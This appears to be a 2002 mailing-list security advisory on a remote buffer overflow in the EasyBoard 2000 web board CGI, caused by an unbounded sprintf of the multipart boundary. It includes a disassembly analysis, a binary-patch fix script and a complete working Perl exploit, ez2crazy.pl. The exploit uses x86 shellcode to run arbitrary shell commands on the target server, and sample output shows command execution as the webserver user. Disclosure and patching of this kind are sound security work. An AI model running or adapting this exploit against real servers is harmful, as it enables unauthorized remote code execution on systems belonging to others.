EasyBoard 2000 Remote Buffer Overflow Vulnerability

From: jhyouat_private
Date: Sun Feb 10 2002 - 16:30:15 PST

  • Next message: jGgM.: "Unixware Message catalog exploit code"

    EasyBoard 2000 Remote Buffer Overflow Vulnerability
    
    Jin Ho You, jhyouat_private
    
    
    1 Discussion
    
    EasyBoard 2000(http://ezboard.new21.org) is a web board CGI.  Improperly
    manipulated user-supplied input to the Content-Type header can create
    an buffer overflow condition. This vulnerability allows arbitrary remote
    code execution with the privileges of the webserver.
    
    
    2 Vulnerable version
    
    EasyBoard 2000 1.27xx
    
    
    3 Vulnerability Analysis
    
    3.1 Analyzed version
    
      ezboard 1.27(BUILD 515) for RedHat 7.0(x86)
    
      You can download it from:
      http://ezboard.new21.org/cgi-bin/ez2000/ezboard.cgi?db=ez2k/pds&action=down&dbf
    =52&ftype=file&file=ez2k_linux70(x86).zip
    
    
    3.2 Vulnerable CGIs
    
    Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.
    
    $ strings ezboard.cgi | grep -- "--%s"
    --%s
    $ strings ezman.cgi | grep -- "--%s"
    --%s
    $ strings ezadmin.cgi | grep -- "--%s"
    --%s
    
    3.3 Analysis of ezboard.cgi
    
    $ objdump -s ezboard.cgi | less
    
     806ad60 4700504f 53540043 4f4e5445 4e545f54  G.POST.CONTENT_T
     806ad70 59504500 00000000 00000000 00000000  YPE.............
     806ad80 6170706c 69636174 696f6e2f 782d7777  application/x-ww 
     806ad90 772d666f 726d2d75 726c656e 636f6465  w-form-urlencode
     806ada0 64002600 3d007365 6c6e756d 00434f4e  d.&.=.selnum.CON
     806adb0 54454e54 5f4c454e 47544800 00000000  TENT_LENGTH.....
     806adc0 6d756c74 69706172 742f666f 726d2d64  multipart/form-d
     806add0 6174613b 20626f75 6e646172 793d002d  ata; boundary=.- <-- 0x806addf
     806ade0 2d257300 0d0a2573 00000000 00000000  -%s...%s........      "--%s"
     806adf0 00000000 00000000 00000000 00000000  ................
     806ae00 436f6e74 656e742d 44697370 6f736974  Content-Disposit
     806ae10 696f6e3a 20666f72 6d2d6461 74613b20  ion: form-data;
     806ae20 002d2d00 3b206669 6c656e61 6d650025  .--.; filename.%
    
    $ objdump -d ezboard.cgi | less
    
     804aff5:       57                      push   %edi
     804aff6:       68 df ad 06 08          push   $0x806addf  ---> "--%s"
     804affb:       8d 9d e8 fe ff ff       lea    0xfffffee8(%ebp),%ebx
     804b001:       53                      push   %ebx
     804b002:       e8 89 e5 ff ff          call   0x8049590
    
    
    $ gdb ezboard.cgi
    (gdb) disassemble 0x804aff6
    
    0x804af84 <strcpy+6500>:        push   %ebp
    0x804af85 <strcpy+6501>:        mov    %esp,%ebp
    0x804af87 <strcpy+6503>:        push   %edi
    0x804af88 <strcpy+6504>:        push   %esi
    0x804af89 <strcpy+6505>:        push   %ebx
    0x804af8a <strcpy+6506>:        sub    $0x648,%esp
    
    0x804af90 <strcpy+6512>:        mov    $0x806adc0,%edi
    0x804af95 <strcpy+6517>:        cld
    0x804af96 <strcpy+6518>:        mov    $0xffffffff,%ecx
    0x804af9b <strcpy+6523>:        mov    $0x0,%al
    0x804af9d <strcpy+6525>:        repnz scas %es:(%edi),%al
    0x804af9f <strcpy+6527>:        not    %ecx
    0x804afa1 <strcpy+6529>:        dec    %ecx
    0x804afa2 <strcpy+6530>:        mov    %ecx,0xfffff9e0(%ebp)
    
        delim_len = strlen("multipart/form-data; boundary=");
    
    0x804afa8 <strcpy+6536>:        push   $0x806ad67           "CONTENT_TYPE"
    0x804afad <strcpy+6541>:        call   0x8049210 <getenv>
    0x804afb2 <strcpy+6546>:        mov    %eax,%ebx
    
        content_type = getenv("CONTENT_TYPE");
    
    0x804afb4 <strcpy+6548>:        lea    0xfffff9e4(%ebp),%eax
    0x804afba <strcpy+6554>:        mov    %eax,(%esp,1)
    0x804afbd <strcpy+6557>:        call   0x804aee4 <strcpy+6340>
    0x804afc2 <strcpy+6562>:        mov    %eax,%esi
    0x804afc4 <strcpy+6564>:        sub    $0x8,%esp
    
    0x804afc7 <strcpy+6567>:        push   $0x806adc0
    0x804afcc <strcpy+6572>:        push   %ebx
    0x804afcd <strcpy+6573>:        call   0x8049360 <strstr>
    
    (gdb) x/s 0x806adc0
    0x806adc0 <_IO_stdin_used+1756>:         "multipart/form-data; boundary="
    
        delim = strstr(content_type, "multipart/form-data; boundary=");
    
    0x804afd2 <strcpy+6578>:        add    $0x20,%esp
    0x804afd5 <strcpy+6581>:        mov    %eax,%edi
    0x804afd7 <strcpy+6583>:        test   %edi,%edi
    0x804afd9 <strcpy+6585>:        jne    0x804afec <strcpy+6604>
    0x804afdb <strcpy+6587>:        sub    $0xc,%esp
    0x804afde <strcpy+6590>:        pushl  0x806fe6c
    0x804afe4 <strcpy+6596>:        call   0x804cc2c <strcpy+13836>
    0x804afe9 <strcpy+6601>:        add    $0x10,%esp
    
    0x804afec <strcpy+6604>:        add    0xfffff9e0(%ebp),%edi
    
        delim += delim_len;
    
    0x804aff2 <strcpy+6610>:        sub    $0x4,%esp
    
    0x804aff5 <strcpy+6613>:        push   %edi
    0x804aff6 <strcpy+6614>:        push   $0x806addf
    0x804affb <strcpy+6619>:        lea    0xfffffee8(%ebp),%ebx
    0x804b001 <strcpy+6625>:        push   %ebx
    0x804b002 <strcpy+6626>:        call   0x8049590 <sprintf>
    
                char boundary[280];
                sprintf(boundary, "--%s", delim);
    
    
    The disassembled code is like the C code:
    
    parse_multipart()
    {
        char boundary[280];
    
        ...
    
        delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data; boundary=");
        delim += strlen("multipart/form-data; boundary=");
        sprintf(boundary, "--%s", delim);
    
        ...
    }
    
    We can see that sprintf() function call can create buffer overflow condition.
    
    
    4 Exploit
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #!/usr/bin/perl
    # ez2crazy.pl
    #
    # Remote Buffer Overflow x86 Linux Exploit for
    #    CrazyWWWBoard(http://www.crazywwwboard.com),
    #    EasyBoard 2000(http://ezboard.new21.org) and
    #    CGIs using qDecoder 4.0~5.0.8
    #
    # Excessive boundary delimiter string in the header
    # "Content-Type: multipart/form-data" permits the buffer overflow attack.
    #
    # Programmed by Jin Ho You, jhyouat_private, 2002/02/11
    
    $usage =
    "usage: ez2crazy.pl [options] CGI-URL\n
      CGI-URL        URL of the target CGI
      -c command     Bourne shell command
                     Default: '/bin/echo 00ps, Crazy!;id'
      -o offset      Offset of the egg shell code,
                     Recommended [-300,+300]
    
    example)
      ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
      ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
      ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
               target.com/cgi-bin/vulnerable.cgi
    
    ";
    
    use Getopt::Std;
    getopt('oc');
    
    if ($#ARGV < 0) {
        print $usage;
        exit(0);
    };
    
    $cgiurl = $ARGV[0];
    $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";
    $offset = $opt_o ? $opt_o : 0;
    
    
    $cgiurl =~ s/http:\/\///;
    ($host, $cgiuri) = split(/\//, $cgiurl, 2);
    ($host, $port) = split(/:/, $host);
    $port = 80 unless $port;
    
    $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
    $cmdlen = length($command);
    
    $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
    $shellcode =
      "\xeb\x37"                            # jmp 0x37
    . "\x5e"                                # popl %esi
    . "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
    . "\x89\xf0"                            # movl %esi,%eax
    . "\x83\xc0\x08"                        # addl $0x8,%eax
    . "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
    . "\x89\xf0"                            # movl %esi,%eax
    . "\x83\xc0\x0b"                        # addl $0xb,%eax
    . "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
    . "\x31\xc0"                            # xorl %eax,%eax
    . "\x88\x46\x07"                        # movb %eax,0x7(%esi)
    . "\x4e"                                # dec %esi
    . "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
    . "\x46"                                # inc %esi
    . "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
    . "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
    . "\xb0\x0b"                            # movb $0xb,%al
    . "\x89\xf3"                            # movl %esi,%ebx
    . "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
    . "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
    . "\xcd\x80"                            # int 0x80
    . "\x31\xdb"                            # xorl %ebx,%ebx
    . "\x89\xd8"                            # movl %ebx,%eax
    . "\x40"                                # inc %eax
    . "\xcd\x80"                            # int 0x80
    . "\xe8\xc4\xff\xff\xff"                # call -0x3c
    . "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
    . $command;
    
    $offset -= length($command) / 2 + length($host . $port . $cgiurl);
    $shelladdr = 0xbffffbd0 + $offset;
    $noplen = 242 - length($shellcode);
    $jump = $shelladdr + $noplen / 2;
    $entries = $shelladdr + 250;
    $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
            . pack(V, $entries) x 2 . pack(V, $jump) x 2;
    
    $content = substr($egg, 254) .
      "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
    $contentlength = length($content);
    
    $exploit =
    "POST /$cgiuri HTTP/1.0
    Connection: Keep-Alive
    User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
    Host: $host:$port
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: ko
    Accept-Charset: euc-kr,*,utf-8
    Content-type: multipart/form-data; boundary=$egg
    Content-length: $contentlength
    
    $content
    ";
    
    use Socket;
    $iaddr = inet_aton($host) or die("Error: $!\n");
    $paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n");
    $proto = getprotobyname('tcp') or die("Error: $!\n");
    
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
    connect(SOCKET, $paddr) or die("Error: $!\n");
    send(SOCKET, $exploit, 0) or die("Error: $!\n");
    while (<SOCKET>) {
        print;
    }
    close(SOCKET);
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    - example
    
    $ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
    HTTP/1.1 200 OK
    Date: Sun, 10 Feb 2002 19:08:46 GMT
    Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
    DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
    Connection: close
    Content-Type: text/html
    
    00ps, Crazy!
    uid=48(apache) gid=48(apache) groups=48(apache)
    
    
    5 Vulnerability Fix
    
    The vulnerability can be fixed by replacing sprintf(boundary, "--%s", delim)
    with sprintf(boundary, "--%.200s", delim).
    
    The following code fixes the binary programs of EasyBoard 2000 x86 Linux
    version.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #!/usr/bin/perl
    # ezboard-fix.pl
    #
    # EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
    #
    # Run this program in the directory where ezboard.cgi exists.
    #
    # Programmed by Jin Ho You, jhyouat_private, 2002/02/11
    
    LOOP:
    for $cgi_file ("ezboard.cgi","ezadmin.cgi", "ezman.cgi") {
        if (! -e $cgi_file) {
            print "$cgi_file does not exist.\n";
            next LOOP;
        }
    
        $cgi_content=`cat $cgi_file`;
    
        if (index($cgi_content, "EasyBoard 2000") == -1 ||
            index($cgi_content, "ld-linux.so") == -1) {
            print "$cgi_file is not EasyBoard 2000 for x86 Linux.\n";
            next LOOP;
        }
    
        @obj_header = split(' ', `objdump -h $cgi_file | grep rodata`);
        $moff_section = hex($obj_header[3]);
        $foff_section = hex($obj_header[5]);
        $foff_fmtstr = index($cgi_content, "--%s");
        $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
        $foff_push = index($cgi_content, pack("V",$moff_fmtstr));
        if ($foff_push == -1) {
            print "$cgi_file is already fixed!\n";
            next LOOP;
        }
    
        printf "$cgi_file: '--%%s' = 0x%08x, push '--%%s' = 0x%08x\n",
                $foff_fmtstr, $foff_push;
    
        open(CGI, "+<$cgi_file") or die "cannot open $cgi_file: $!";
        seek(CGI, $foff_fmtstr + 17, SEEK_SET);
        print CGI "--%.200s";
        seek(CGI, $foff_push, SEEK_SET);
        print CGI pack("V", $moff_fmtstr + 17);
        close(CGI);
    }
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    



    This archive was generated by hypermail 2b30 : Mon Feb 11 2002 - 11:30:35 PST